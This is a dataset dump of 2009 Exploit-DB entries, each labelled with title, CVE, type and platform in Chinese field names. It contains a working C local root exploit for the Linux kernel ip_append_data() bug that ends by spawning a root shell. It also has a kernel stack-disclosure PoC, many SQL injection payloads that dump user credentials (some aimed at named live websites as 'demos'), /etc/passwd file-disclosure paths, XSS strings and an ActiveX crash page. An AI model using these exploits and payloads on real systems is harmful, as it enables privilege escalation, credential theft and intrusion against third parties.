QLWD/code_shield huggingface dataset:
标题: Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Privilege Escalation (1) EDB-ID: 9542 CVE: 2009-2698 类型: LOCAL 平台: LINUX_X86 发布日期: 2009-08-31 漏洞利用脚本: /*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>

unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
 unsigned *addr=task;
 while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
  addr++;
 }
 addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
 addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
 return;
}
void exploit();
void kernel_code()
{
 asm("exploit:\n"
  "push %eax\n"
  "movl $0xfffff000,%eax\n"
  "andl %esp,%eax\n"
  "pushl (%eax)\n"
  "call get_root_uid\n"
  "addl $4,%esp\n"
  "popl %eax\n");
 return;
}
void *kernel=kernel_code;

int main(int argc, char **argv)
{
 int fd=0;
 char buf[1024];
 struct sockaddr x0x;
 void *zero_page;

 uid=getuid();
 gid=getgid();
 if(uid==0){
  fprintf(stderr,"[-] check ur uid\n");
  return -1;
 }
 if(personality(0xffffffff)==PER_SVR4){
  if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
   perror("[-] mprotect()");
   return -1;
  }
 }
 else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
   perror("[-] mmap()");
   return -1;
 }
 *(unsigned long *)0x0=0x90909090;
 *(char *)0x00000004=0x90; /* +1 */
 *(char *)0x00000005=0xff;
 *(char *)0x00000006=0x25;
 *(unsigned long *)0x00000007=(unsigned long)&kernel;
 *(char *)0x0000000b=0xc3;

 if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
  perror("[-] socket()");
  return -1;
 }
 x0x.sa_family=AF_UNSPEC;
 memset(x0x.sa_data,0x82,14);
 memset((char *)buf,0,sizeof(buf));
 sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
 sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
 if(getuid()==uid){
  printf("[-] exploit failed, try again\n");
  return -1;
 }
 close(fd);
 execl("/bin/sh","sh","-i",NULL);
 return 0;
}

/* eoc */

// milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9542
标题: Uiga Church Portal - 'year' SQL Injection EDB-ID: 9535 CVE: 2009-3116 2009-3081 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-27 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( index.php view )
##
## Uiga Church Portal
##
## http://www.scriptdevelopers.net/products/ucp.html
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/index.php?view=calendar&month=1&year=1+and+1=0+union+select+1,2,3,4,5,concat_ws(0x3a,@@version,user(),database()),7--
##
########################
########################
GET THE INFO IN THE CALENDAR : )

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-27] URL: https://www.exploit-db.com/exploits/9535
标题: Linux Kernel < 2.6.31-rc7 - 'AF_IRDA' 29-Byte Stack Disclosure (2) EDB-ID: 9543 CVE: 2009-3002 类型: LOCAL 平台: LINUX 发布日期: 2009-08-31 漏洞利用脚本: /* 
 * cve-2009-3002.c
 *
 * Linux Kernel < 2.6.31-rc7 AF_IRDA getsockname 29-Byte Stack Disclosure
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 * 
 *   http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 
 *
 *   The Linux kernel before 2.6.31-rc7 does not initialize certain data 
 *   structures within getname functions, which allows local users to read 
 *   the contents of some kernel memory locations by calling getsockname 
 *   on ... (2) an AF_IRDA socket, related to the irda_getname function in 
 *   net/irda/af_irda.c.
 *
 * Notes:
 * 
 *   Yet another stack disclosure...although this one is big and contiguous.
 */

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#ifndef AF_IRDA
#define AF_IRDA 23
#endif

struct sockaddr_irda {
 uint16_t sir_family;
 uint8_t sir_lsap_sel;
 uint32_t sir_addr;
 char sir_name[25];
};

const int randcalls[] = {
 __NR_read, __NR_write, __NR_open, __NR_close, __NR_stat, __NR_lstat,
 __NR_lseek, __NR_rt_sigaction, __NR_rt_sigprocmask, __NR_ioctl,
 __NR_access, __NR_pipe, __NR_sched_yield, __NR_mremap, __NR_dup,
 __NR_dup2, __NR_getitimer, __NR_setitimer, __NR_getpid, __NR_fcntl,
 __NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
 __NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
 __NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
 __NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
 __NR_sched_getparam, __NR_sched_get_priority_max
};

void
dump(const unsigned char *p, unsigned l)
{
 printf("sockaddr_irda:");
 while (l > 0) {
  printf(" ");
  if (l == 33 || l == 28) {
   printf("<<< ");
  }
  printf("%02x", *p);
  if (l == 33 || l == 1) {
   printf(" >>>");
  }
  ++p; --l;
 }
 printf("\n");
}

int
main(void)
{
 struct sockaddr_irda saddr;
 int ret, call, sock, len = sizeof(saddr);

 printf("[+] Creating AF_IRDA socket.\n");

 sock = socket(AF_IRDA, SOCK_DGRAM, 0);
 if (sock == -1) {
  printf("[-] Error: Couldn't create AF_IRDA socket.\n");
  printf("[-] %s.\n", strerror(errno));
  exit(1);
 }

 memset(&saddr, 0, len);

 printf("[+] Ready to call getsockname.\n\n");

 for (ret = 5; ret > 0; ret--) {
  printf("%d...\n", ret);
  sleep(1);
 }
 srand(time(NULL));

 while (1) {
  /* random stuff to make stack pseudo-interesting */
  call = rand() % (sizeof(randcalls) / sizeof(int));
  syscall(randcalls[call]);

  ret = getsockname(sock, (struct sockaddr *) &saddr, &len);
  if (ret != 0) {
   printf("[-] Error: getsockname failed.\n");
   printf("[-] %s.\n", strerror(errno));
   exit(1);
  }

  dump((unsigned char *) &saddr, sizeof(saddr));
 }

 return 0;
}

// milw0rm.com [2009-08-31] URL: https://www.exploit-db.com/exploits/9543
标题: PAD Site Scripts 3.6 - 'list.php?string' SQL Injection EDB-ID: 9531 CVE: 2009-3191 2009-3190 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( list.php string )
##
## PAD Site Scripts v3.6
##
## www.pad-site-scripts.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@HoTmail.iT
##
########################
########################
##
## -[[: Exploite :]]-
##
## www.TraGeT.CoM/list.php?string=1&match=1&search=1/**/AND/**/1=0/**/UNION/**/SELECT/**/0,0,CONCAT_WS(0x3a,table_name,column_name),0,0,0,0,0,0,0,0,0,0,0,0,0/**/FROM/**/INFORMATION_SCHEMA.COLUMNS--
## www.TraGeT.CoM/rss.php?cat=' {{SQL}}
##
## -[[: XSS :]]-
##
## www.TraGeT.CoM/rss.php?cat="><script>alert()</script>
## www.TraGeT.CoM/opml.php?cat="><script>alert()</script>
##
########################
########################


#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: User-Ma$keN :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-26] URL: https://www.exploit-db.com/exploits/9531
标题: EMO Breader Manager - 'video.php?movie' SQL Injection EDB-ID: 9518 CVE: 2009-4958 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-25 漏洞利用脚本: ###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL Injection Vulnerability ( video.php movie )
##
## EMO Breader Manager
##
## http://www.emophp.com
##
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.55a.NeT
##
## Email  : SQL@Hotmail.iT
##
########################
########################
##
## -[[: ExploiteS :]]-
##
## www.TraGeT.CoM/video.php?movie=<<NAME FILE>>.wmv&idd=-1+UNION+SELECT+1,2,CONAT_WS(0x3a,table_name,column_name),4,5+FROM+INFORMATION_SCHEMA.COLUMNS--
##
########################
########################
 

#########################################################################################################
#########################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                        
:: HaCkEr_EGy :: Dark MaSTer  :: His0k4 :: MoHaMeD el 3rab :: ALwHeD :: Ghost Hacker :: MuslimS HaCkErS ::
#########################################################################################################
#########################################################################################################

# milw0rm.com [2009-08-25] URL: https://www.exploit-db.com/exploits/9518
标题: Moa Gallery 1.2.0 - 'p_filename' Remote File Disclosure EDB-ID: 9525 CVE: 2009-4627 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: Moa Gallery <= 1.2.0 Remote File Disclosure Vulnerability
Code In sources\_template_parser.php


    $filename = $MOA_PATH."templates/".$template_name."/".$p_filename;

    $fp = @fopen($filename, "r");
    if ((!$fp) && (is_bool($fp)))
    {
      $fp = $fp = @fopen($MOA_PATH."templates/MoaDefault/".$p_filename, "r");

POC
/sources/_template_parser.php?p_filename=../../../../../../../../../../../../../../../etc/passwd

# milw0rm.com [2009-08-26] URL: https://www.exploit-db.com/exploits/9525
标题: totalcalendar 2.4 - Blind SQL Injection / Local File Inclusion EDB-ID: 9524 CVE: 2009-4974 2009-4973 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: /*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

TotalCalendar 2.4 (bSQL/LFI) Multiples Remote Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://sweetphp.com/nuke/modules.php?name=Script_Preview&script=12

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in rss.php (selectedCal).

- Poc:
  http://127.0.0.1/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=[bSQL]

  http://www.sweetphp.com/projects/TotalCalendar_2/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='0 TRUE
  http://www.sweetphp.com/projects/TotalCalendar_2/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='1 FLASE

[+] Exploit LFI:

- Vulnerable code in box_display.php (box).

- Poc:
  http://127.0.0.1/box_display.php?box=[LFI]

  http://www.sweetphp.com/projects/TotalCalendar_2/box_display.php?box=../../../../../../../../etc/passwd%00.htm

# milw0rm.com [2009-08-26] URL: https://www.exploit-db.com/exploits/9524
标题: Discuz! Plugin Crazy Star 2.0 - 'fmid' SQL Injection EDB-ID: 9529 CVE: 2009-3185 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: ============================================================
Discuz! Plugin Crazy Star <= 2.0 Sql injection Vulnerability
============================================================

========================[Author]============================                    

 [+] Founded  : ZhaoHuAn         
 [+] Contact : ZhengXing[at]shandagames[dot]com          
 [+] Blog : http://www.patching.net/zhaohuan/          
 [+] Date : August, 26th 2009 [Double Seventh Festival]  
         
========================[Soft Info]=========================   
         
Software: Discuz! Plugin Crazy Star(family)           
Version : 2.0                      
Vendor : http://www.discuz.com                  



[-] Exploit:
[+] 1) Register a User
    2) Login!
[+] and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--

[-] SqlI PoC:
[+] http://target/[path]/plugin.php?identifier=family&module=family&action=view&fmid=1+and+1=2+unIon+selecT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31 from cdb_members--
    [?] = Valid fmid Number

[+] Demo Live:
[-] http://sj.netease.com/plugin.php?identifier=family&module=family&action=view&fmid=6+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,group_concat(uid,0x3a,username,0x3a,password),19,20,21,22,23,24,25,26,27,28,29,30,31 from bbs_members--

[-] http://www.war3club.net/plugin.php?identifier=family&module=family&action=view&fmid=11+and+1=2+unIon+selecT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,group_concat(uid,0x3a,username,0x3a,password),25,26,27,28,29,30,31,32,33 from cdb_members--


/---------------------------------------------www.zhaohuan.net-------------------------------------------------\  

  Today is the VALENTINE'S Day in China, the seventh day of the seventh lunar month.
  Raise your head on August 26 and gaze at the stars, you will find something romantic going on in the sky  ;) 
  Greetz : Weeny <- love u more & more

\--------------------------------------------------------------------------------------------------------------/

# milw0rm.com [2009-08-26] URL: https://www.exploit-db.com/exploits/9529
标题: Lotus note connector for BlackBerry Manager 5.0.0.11 - ActiveX Denial of Service EDB-ID: 9517 CVE: 2009-3038 类型: DOS 平台: WINDOWS 发布日期: 2009-08-25 漏洞利用脚本: #####################################################################################

Application:  Lotus note connector for Blackberry Manager 5.0.0.11 (And maybe other application that use it..)
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:       IE 8.0.6001.18702
       IE 6.0.2900.2180
 
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Notes Connector is an easy to use tool that allows you to instantly synchronize all your Lotus Notes email. 

#####################################################################################

============================
2) Technical details 
============================

Name: lnresobject.dll
Ver.: 7.1.1.119
CLSID: {158CD9E8-E195-4E82-9A78-0CF6B86B3629}



#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html><body>
<object classid="CLSID:{158CD9E8-E195-4E82-9A78-0CF6B86B3629}" ></object>
</body></html>

#####################################################################################

# milw0rm.com [2009-08-25] URL: https://www.exploit-db.com/exploits/9517
标题: Turnkey Arcade Script - SQL Injection (2) EDB-ID: 9511 CVE: 2009-3973 2008-5629 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-25 漏洞利用脚本: ==============================================================================
  ##  Hackteach.OrG ##
             

/ ___   )(  __   )/ ___   )
\/   )  || (  )  |\/   )  |
    /   )| | /   |    /   )
   /   / | (/ /) |   /   / 
  /   /  |   / | |  /   /  
 /   (_/\|  (__) | /   (_/\
(_______/(_______)(_______/
       
==============================================================================
        [Â»] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [Â»]  Arcad site Script <== Remote SQL Injection Vulnerability
==============================================================================
    [Â»] my home:             [ Hackteach.org ]
    [Â»] Script:              [ Arcad site Script ]
    [Â»] Language:            [ PHP ]
    [Â»] Download:            [ http://www.turnkeyarcade.com/ ]
    [Â»] Founder:             [ Red-D3v1L < php-c0de@hotmail.com > ]
    [Â»] Gr44tz to:           [ All member Hackteach.org/cc - Str0ke - sp3x ]
    [Â»] Fuck To :            [ Anti-trust << Big Big Big Lamer << ]
########################################################################

===[ Exploit SQL ]===  

    [Â»] Path/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--


    [Â»] L1v3 d3m0 : http://www.turnkeyarcade.com/demo/index.php?action=browse&id=-7+union+select+1,2,concat(password,0x3e,username),4+from+users--

Author: Red-D3v1L <-

###########################################################################

# milw0rm.com [2009-08-25] URL: https://www.exploit-db.com/exploits/9511
标题: Joomla! Component com_jtips 1.0.x - 'season' Blind SQL Injection EDB-ID: 9504 CVE: 2009-3971 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Joomla Component com_jtips (season) Blind SQL-injection Vulnerability
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


###################################################
[+] Author        :  Chip D3 Bi0s
[+] Group         :  LatinHackteam
--------------------------------------------------
author       :     Russell...
author Email :     chipdebios[alt+64]gmail.com

###################################################

Example:
http://localhost/path/index.php?option=com_jtips&Itemid=1&task=ladder&season=2[SQL code]


DEMO (1):
http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=1
True !!!!

http://www.brotherspjrlc.com.au/index.php?option=com_jtips&Itemid=1&task=ladder&season=2+and+1=2
False !!!


DEMO (2):
http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=1
True !!!

http://highfields.info/index.php?option=com_jtips&Itemid=2&task=ladder&season=1+and+1=!
False !!!


etc, etc....
+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

tested: 1.0.7 / 1.0.9

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9504
标题: Joomla! Component com_ninjamonial 1.1 - 'testimID' SQL Injection EDB-ID: 9502 CVE: 2009-3964 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: ----------------------------------------------------------------------
Joomla Component com_ninjamonial (testimID) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

  
 Information:

Name             : NinjaMonials - Testimonials Manager.
Version          : 1.1.0
Date             : Jan 2009 Licence          : GPL                Type  : Commercial
Compatibility    : 1.0 Native
web              : http://www.ninjaforge.com
more info & demo : http://ninjaforge.com/index.php?option=com_ninjacentral&page=show_package&id=56&Itemid=245 

 
--------------------------------------------------------------------


Example:

http://localhost/path/index.php?option=com_ninjamonials&task=display&testimID=n<sql Code>
n: Valid testimID

<Sql Code>:
+and+1=2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+jos_users 

Demo Live:
http://www.ninjaforge.com/index.php?option=com_ninjamonials&task=display&testimID=3+and+1=2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8+from+jos_users


+++++++++++++++++++++++++++++++++
[!] Produced in South America
---------------------------------

# milw0rm.com [2009-08-24] URL: https://www.exploit-db.com/exploits/9502
标题: Joomla! Component com_siirler 1.2 - 'sid' SQL Injection EDB-ID: 9510 CVE: 2009-3972 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-25 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|                                                                             |
| Joomla <= 1.5.x Component com_siirler 1.2 (sid) SQL Injection Vulnerability |
|                                                                             |
|                                                                             |
| =================[Author]==================                           |
|               |
| [+] Founded  : v3n0m            |
| [+] Contact : v3n0m666[at]live[dot]com          |
| [+] Blog : http://0wnage.wordpress.com/         |
| [+] Group : YOGYACARDERLINK          |
| [+] Site : http://yogyacarderlink.web.id/        |
| [+] Date : August, 25th 2009 [INDONESIA]         |
|               |
| ================[Soft Info]================         |
|               |
| Software: Siirler Bileseni           |
| Version : 1.2 RC (Legacy)           |
| Vendor : http://www.qproje.com/          |
| License : GNU/GPL            |
|               |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


[-] Exploit:
[+] +and+1=2+union+select+concat(username,char(58),password)+from+jos_users--

[-] SQLi p0c:
[+] http://localhost/[path]/index.php?option=com_siirler&task=sdetay&sid=[xxx]+and+1=2+union+select+concat(username,char(58),password)+from+jos_users--
    [xxx] = Valid sid number

[+] Demo Live:
[-] http://demo.qproje.com/j15x/index.php?option=com_siirler&task=sdetay&sid=364+and+1=2+union+select+concat(username,char(58),password)+from+jos_users--


===========================
[+]   Greetz & Thanks [+]
===========================
RedLine Crew : Bang Musa,Mas Andre,Dagol,Yazid,Ogie
YOGYACARDERLINK : leQhi,lingah,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,
    aRiee,yoga0400,ghareng,eidelweiss,pKi,kaka11

g0t inspiration in my bedroom when i was flashback my mind about jogja & jovita
PROUD TO BE INDONESIAN-

# milw0rm.com [2009-08-25] URL: https://www.exploit-db.com/exploits/9510